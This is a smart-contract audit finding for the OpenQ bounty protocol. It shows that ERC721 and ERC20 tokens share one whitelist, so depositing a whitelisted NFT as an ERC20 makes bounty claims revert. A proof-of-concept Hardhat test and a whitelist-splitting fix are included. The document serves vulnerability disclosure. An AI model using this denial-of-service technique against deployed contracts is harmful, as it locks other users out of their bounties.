bin2chen - block claim bounty attacks

[github-actions]

bin2chen

medium

block claim bounty attacks

Summary

A malicious user can deposit NFT as erc20 to execute the attack.

Vulnerability Detail

The current protocol allows anyone to provide bonuses
In order to prevent malicious users using malicious token addresses to break the protocol: for example, by providing malicious token addresses, always revert when claim bounty, thus blocking claims, etc.

That's why we provide a whitelist token mechanism.

However, the current whitelist puts erc20 and erc721 in the same whitelist, which gives the attacker the possibility to break the protocol: a malicious user can pretend NFT (in the whitelist) to be erc20 into tokenAddresses , when claim bounty will always revert, and cannot perform claim bounty. .

So NFT can be treated as ERC20 execution fundBountyToken ()?
Yes, because :
"NFT and ERC20 balanceOf/transferFrom method signature is the same"
But when the claim bounty uses transfer(), it will revert, because NFT does not have this method signature

Here is the test code, you can deposit NFT as erc20,but anyone can not claim his bounty:
add to test/ClaimManager.test.js

    it('NFT_TO_TOKEN', async () => {
    
	    await openQProxy.mintBounty(Constants.bountyId, Constants.organization, atomicBountyInitOperation);
	    const bountyAddress = await openQProxy.bountyIdToAddress(Constants.bountyId);
    
	    await mockNft.approve(bountyAddress, 1);   //1. **** @audit approve first , transferFrom need it
    
                //2. **** @audit fundBountyToken nft is ok
	    await depositManager.fundBountyToken(bountyAddress, mockNft.address, 1, 1, zeroTier);
    
	    const expectedTimestamp = await setNextBlockTimestamp();
	    console.log("fundBountyToken(NFT) is ok");
	    
                 //3. **** @audit claim bounty will revert
	    await claimManager.connect(oracle).claimBounty(bountyAddress, owner.address, abiEncodedTieredCloserDataFirstPlace);
    
    });	

yarn test test/ClaimManager.test.js --grep NFT_TO_TOKEN
output

fundBountyToken(NFT) is ok


  1) ClaimManager.sol
       claimBounty
         TIERED
           EVENTS
             NFT_TO_TOKEN:
     Error: VM Exception while processing transaction: reverted with reason string 'SafeERC20: low-level call failed'
    at AtomicBountyV1.<receive> (contracts/Bounty/Implementations/AtomicBountyV1.sol:197)

A malicious user can deposit NFT as erc20 to execute the attack.
Although the attacker will lose NFT, it should be possible to find cheap NFTs that are in the whitelist

So it is recommended that the NFT and ERC20 whitelist independent

Impact

Normal users cannot claim the bounty

Code Snippet

https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/TokenWhitelist/TokenWhitelist.sol#L19-L32

Tool used

Manual Review

Recommendation

Independent Whitelist

abstract contract TokenWhitelist is Ownable {
    uint256 public TOKEN_ADDRESS_LIMIT;
    uint256 public tokenCount;
-   mapping(address => bool) public whitelist;
+  mapping(address => bool) public whitelistToken;
+  mapping(address => bool) public whitelistNFT;

+    function isTokenWhitelisted(address _tokenAddress) external view returns (bool) {
+        return whitelistToken[_tokenAddress];
+    }

+   function isNFTWhitelisted(address _tokenAddress) external view returns (bool) {
+      return whitelistNFT[_tokenAddress];
+   }

+    function addNFT(address _tokenAddress) external onlyOwner {
+        require(
+            !whitelistToken[_tokenAddress] && !whitelistNFT[_tokenAddress] ,
+            Errors.TOKEN_ALREADY_WHITELISTED
+        );
+        whitelistNFT[_tokenAddress] = true;
+        tokenCount++;
+    }

+    function addToken(address _tokenAddress) external onlyOwner {
+        require(
+            !whitelistToken[_tokenAddress] && !whitelistNFT[_tokenAddress] ,
+            Errors.TOKEN_ALREADY_WHITELISTED
+        );
+        whitelistToken[_tokenAddress] = true;
+        tokenCount++;
+    }

+    function removeToken(address _tokenAddress) external onlyOwner {
+        require(
+            whitelistToken[_tokenAddress],
+            Errors.TOKEN_NOT_ALREADY_WHITELISTED
+        );
+        whitelistToken[_tokenAddress] = false;
+        tokenCount--;
+    }
+    function removeNFT(address _tokenAddress) external onlyOwner {
+        require(
+            whitelistNFT[_tokenAddress],
+            Errors.TOKEN_NOT_ALREADY_WHITELISTED
+        );
+        whitelistNFT[_tokenAddress] = false;
+        tokenCount--;
+    }

    function fundBountyNFT(
        address _bountyAddress,
        address _tokenAddress,
        uint256 _tokenId,
        uint256 _expiration,
        bytes calldata _data
    ) external onlyProxy {
        IBounty bounty = IBounty(payable(_bountyAddress));
+       require(isNFTWhitelisted(_tokenAddress), Errors.TOKEN_NOT_ACCEPTED);

Duplicate of #62